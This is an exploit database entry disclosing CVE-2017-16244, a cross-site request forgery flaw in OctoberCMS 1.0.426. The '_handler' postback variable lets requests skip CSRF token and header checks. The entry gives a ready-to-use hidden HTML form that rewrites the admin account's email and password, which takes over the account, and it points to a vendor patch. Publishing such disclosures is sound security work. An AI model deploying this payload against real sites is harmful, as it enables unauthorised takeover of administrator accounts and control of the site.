OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery

EDB-ID: 43106
Author: Zain Sabahat
Published: 2017-11-01
CVE: CVE-2017-16244
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Vendor Homepage: https://octobercms.com 
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244

1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.


2. Proof of Concept
Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

<form action="http://host/backend/users/myaccount" method="POST">
<input type="hidden" name="&#95;handler" value="onSave" />
<input type="hidden" name="User&#91;login&#93;" value="Admin" />
<input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
<input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
<input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
<input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
<input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
<input type="hidden" name="redirect" value="0" />
<input type="submit" value="Submit request" />

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.

3. Reference


4. Solution

The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).

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